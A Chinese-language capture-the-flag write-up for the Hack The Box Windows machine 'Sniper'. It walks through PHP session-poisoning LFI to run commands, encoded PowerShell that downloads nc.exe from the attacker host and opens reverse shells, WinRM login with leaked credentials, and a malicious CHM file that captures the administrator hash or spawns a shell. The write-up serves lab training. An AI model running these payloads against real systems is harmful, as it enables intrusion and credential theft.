hackthebox-Sniper--初尝windows靶机

好久没做htb的靶机,这次又跟着着大佬的思路去做了一台新的靶机。不同以往的是,这次的靶机Sniper是windows靶机,因此也收获了许多新姿势。就是在中间从github下了不少东西......因为不是假期,具体过程不会像以往那么详细。同时windows靶机下自己不太理解的东西也希望不会给别人带进误区。

有趣的是,这台靶机获得webroot=>user=>root的shell有不同的操作方法,同时具体后面提权时也将有不同的方法进行细节上不同的操作。具体细节将在后面的文章中提到。

攻击机ip: kalilinux 10.10.15.189
靶机ip windows10 10.10.10.151

端口扫描

首先是老套的端口扫描

Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-01 09:20 CST
Nmap scan report for 10.10.10.151
Host is up (0.24s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE       VERSION
80/tcp  open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h02m38s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-04-01T08:23:29
|_  start_date: N/A

可以看到是一台windows靶机,配有IIS服务。不过开启的几个端口中包含了445端口,这是SMB服务开放的端口。

port 445: Microsoft Windows SMB Server服务

著名的永恒之蓝漏洞也是通过这一端口利用的。当然这里并没有什么渗透点,只是说明我们可以通过smbserver连接到靶机,尝试基本的smb连接的话发现必然是要密码的。

那么还是从80端口入手。访问网页,发现是php网页。IIS+php实际上是非常奇怪的配置,但我们显然可以以此为入手点。

LFI/RFI=>命令执行=>webshell

首先在blog下发现一个语言切换功能,其参数可以文件包含。/blog?lang=blog-en.php
尝试伪协议等常规套路读源码均以失败告终。
简单读windows的文件?lang=/windows/system32/license.rtf
发现有回显。那么现在目的是得到一个web-root的shell,如何操作呢?
此时有一种相对"简单"的办法,利用上面提到的是smb服务。我们再本机kali新建一个smb服务,然后直接rfi进行操作。
RFI的基本操作套路如下

/?lang=\\10.10.14.62\share\foo.php

但是需要注意。想通过SMB达成rfi我们必须修改本机的是smb服务的权限,控制文件夹的权限为777等等,操作起来对我这样的小白而言相对困难了。那么有没有其他方法得到webshell呢?

有,而这也是我学到的不同于常规套路的方法。
回到之前php网页的思路上。有这样的一个细节可以注意:这是一个windows靶机的php服务,其session值被存储在固定的文件夹了。
我们尝试一下随意注册一个用户名,并且记录下session值。通过下面的payload包含session

lang=/Windows/Temp/sess_1d6bfk00vc159thng1t5q521qg

此时查看包含的结果,发现是含有用户名的序列化数据。那么类似于之前tp5的session固定存储类的漏洞,我们可以从这里下手,将php代码写入session数据。

首先尝试简单的fuzz,发现用户名过滤了一些关键字。这里直接给出可行的payload及回显

<?=`whoami`?>
lang=/Windows/Temp/sess_1d6bfk00vc159thng1t5q521qg
username|s:13:"nt authority\iusr

利用短标签加反引号直接执行命令。可以看到成功执行whoami。
接下来可以写webshell,也可以直接命令执行。这里直接进行命令执行。

尝试常规的powershell反弹shell失败。之后会发现可能是因为powershell运行在constraintmode的原因。但是不要紧,利用lfi+命令执行我们还有其他方法拿到windows靶机的shell。
首先找到本机的netcat(即平时使用的nc),把它传到windows机上。(当然需要先建好www文件夹,并把本机的nc.exe复制到里面)
payload:

echo 'wget 10.10.15.189/nc.exe -O \windows\temp\exp.exe' | iconv -t utf-16le | base64 -w 0

将准备好的payload进行编码避免过滤。
注册新用户名为

<?=`powershell /enc {your encoded  command }`?>

这里使用/enc是powershell对应的解码flag,没使用-enc是为了解决过滤问题。
然后包含对应的用户的session即可执行。
再利用lfi检查是否已经把nc传上去了


很好。那么再进行反弹shell的命令吧。
payload:

echo 'c:\windows\temp\exp.exe 10.10.15.189 8899 -e powershell' | iconv -t utf-16le | base64 -w 0

本机监听8899.浏览器包含,并得到webshell

user shell

拿到webshell后我们首先检查下源码。很快就有所发现
\user\db.php中可以发现一个数据库的密码36mEAhz/B8xQ~2VM.而且在User中可以发现用户Chris的存在。

下面尝试拿到usershell.
这里将再次用到我们之前使用过的端口转发。不过需要一个工具来帮助我们实现。
https://github.com/jpillora/chisel
从githubrelease处下载chisel的linux与windows版本。分别用于本机与靶机。然后wget把windows版本的传输到靶机上。

kali: chmod +x chisel_linux_amd64
./chisel_linux_amd64 server -p 8000 --reverse

shell: wget http://10.10.15.189/chisel.exe -O chisel.exe
    
portforwarding: .\chisel.exe client 10.10.15.189:8000 R:5985:127.0.0.1:5985 R:3306:127.0.0.1:3306  

开启--reverse允许我们转发端口。而最后一步我们把5985与3306端口转发到本地。5985对应的是WinRM服务,可用于远程管理。我们把它转发到本地后,可以利用另一个渗透工具evil-winrm进行用户登录。

git clone https://github.com/Hackplayers/evil-winrm
sudo gem install winrm winrm-fs stringio

只需两步即可使用。
然后evil-winrm继续登录,直接本地127.0.0.1即可。因为我们端口已经转发好了。
./evil-winrm.rb -u chris -p '36mEAhz/B8xQ~2VM' -i 127.0.0.1


拿到usershell.

之所以用这么多工具进行user的提权其实是因为这里想要通过其他方法得到usershell要再次反弹shell.
并且操作起来有点麻烦.这里我简单提一下,就是直接通过powershell命令创建一个属于Chris的变量,然后再反弹shell.

$pass = convertto-securestring '36mEAhz/B8xQ~2VM' -asplaintext -force
$cred = new-object system.management.automation.pscredential("sniper\chris", $pass)
invoke-command -computer sniper -scriptblock { whoami } -credential $cred

变量成功创建的话,最后一条命令的回显应该是sniper\chris
然后下面的命令可以重新弹shell,得到usershell

invoke-command -computer sniper -scriptblock { c:\windows\temp\exp.exe 10.10.15.189 1234 -e powershell.exe } -credential $cred

rootshell

那么又到了最后的root提权时间。
在C:\docs中可以发现这样一个有趣的txt

  Hi Chris,
  Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it.
  And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.
  Regards,
  Sniper CEO.

有意思。似乎在提示我们,传到这个文件夹下的东西可能会被CEO检测。这也就类似xss中我们的payload被检查时可以打到admin的cookie.这里我们是否也能通过可执行文件让administrator检查,拿到administrator的权限呢?
同样在Chris的Downloads目录下我们发现一个instructions.chm文件。拿到windows本机打开,将发现


那么我们应该就是要使用chm文件进行操作了。同时利用的思路也大致清楚了:

1.windows本机下操作生成chm文件
2.上传chm文件,其中payload将打到本机 #类似xss的道理
3.监听本机,得到administrator信息。

简单提下chm文件。其实就是html文件的帮助文件系统。而且想要操作起来很简单,只要在win10电脑的C:\Program Files (x86)\HTML Help Workshop中即可找到。
当然我们还要从微软官网下载最新的https://www.microsoft.com/en-us/download/details.aspx?id=21138
先创建一个html文件

<html>
<body>
<h1>Hacked by byc_404</h1>
<img src=\\10.10.15.189\htb\23333.jpg/>

</body>
</html>

里面的src资源指向我们本机任意资源,说白了就是让admin触发且我们能收到请求而已。
在windows本机以管理员权限打开hhw.exe,创建test.hpp项目添加我们刚刚的index.html并编译,即可生成一个chm文件。
然后回到本机,先起一个监听
responder -I tun0

wget上传文件到docs文件夹下

wget http://10.10.15.189/test.chm -O exp.chm

很快就能收到请求


这是一串管理员密码的hash.到网站上解码可得管理员密码butterfly!#1.

然后登尝试登陆。由于开放了445端口,我们直接用smb服务可以直接登录。
当然我没有起smb服务,使用下面github上的python脚本即可替代。

git clone https://github.com/SecureAuthCorp/impacket   
pip install .
python psexec.py Administrator@10.10.10.151

成功拿到rootshell.

当然还有类似前面的直接反弹rootshell的方法。因为chm文件甚至可以插入powershell命令,所以我们可以直接生成反弹shell的html.这里直接借用看到的dalao的chm。


或者使用powershell命令生成payload
https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1

Out-CHM –Payload "C:windows\temp\exp.exe 10.10.15.189 6666 -e powershell.exe" –HHCPath “C:\Program Files (x86)\HTML Help Workshop”

这样就能直接在administrator检查时反弹到shell.

小结

这次windows靶机的体验还算不错。因为不熟悉的原因接触了不少新知识。有很多细节还没弄明白,但是也学到了不少windows靶机新知识。的确,CTFer 不能总是待在舒适区。国际赛也好,htb靶机渗透也好,都是接触非国内渗透知识的大好途径。毕竟也打了一段时间比赛了,国内的比赛除了大型比赛能有很多新姿势以及新想法学以外,其他的出题思路或者赛事操作都是老生常谈,拘泥于php或者个别trick的泥潭中。这几天尝试了java题,windows题,都算是一种突破常规的尝试吧。希望自己也能成为有想法的CTFer。而不是一个单纯的CTF赛棍.

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350

推荐阅读更多精彩内容

  • 运行操作 CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) CM...
    小沐子_IT阅读 2,084评论 0 4
  • 命令简介 cmd是command的缩写.即命令行 。 虽然随着计算机产业的发展,Windows 操作系统的应用越来...
    Littleston阅读 3,315评论 0 12
  • 1、第八章 Samba服务器2、第八章 NFS服务器3、第十章 Linux下DNS服务器配站点,域名解析概念命令:...
    哈熝少主阅读 3,719评论 0 10
  • win7 cmd管理员权限设置 net localgroup administrators 用户名 /add 把“...
    f675b1a02698阅读 5,166评论 0 11
  • 运行操作 CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) CM...
    小明yz阅读 2,752评论 0 8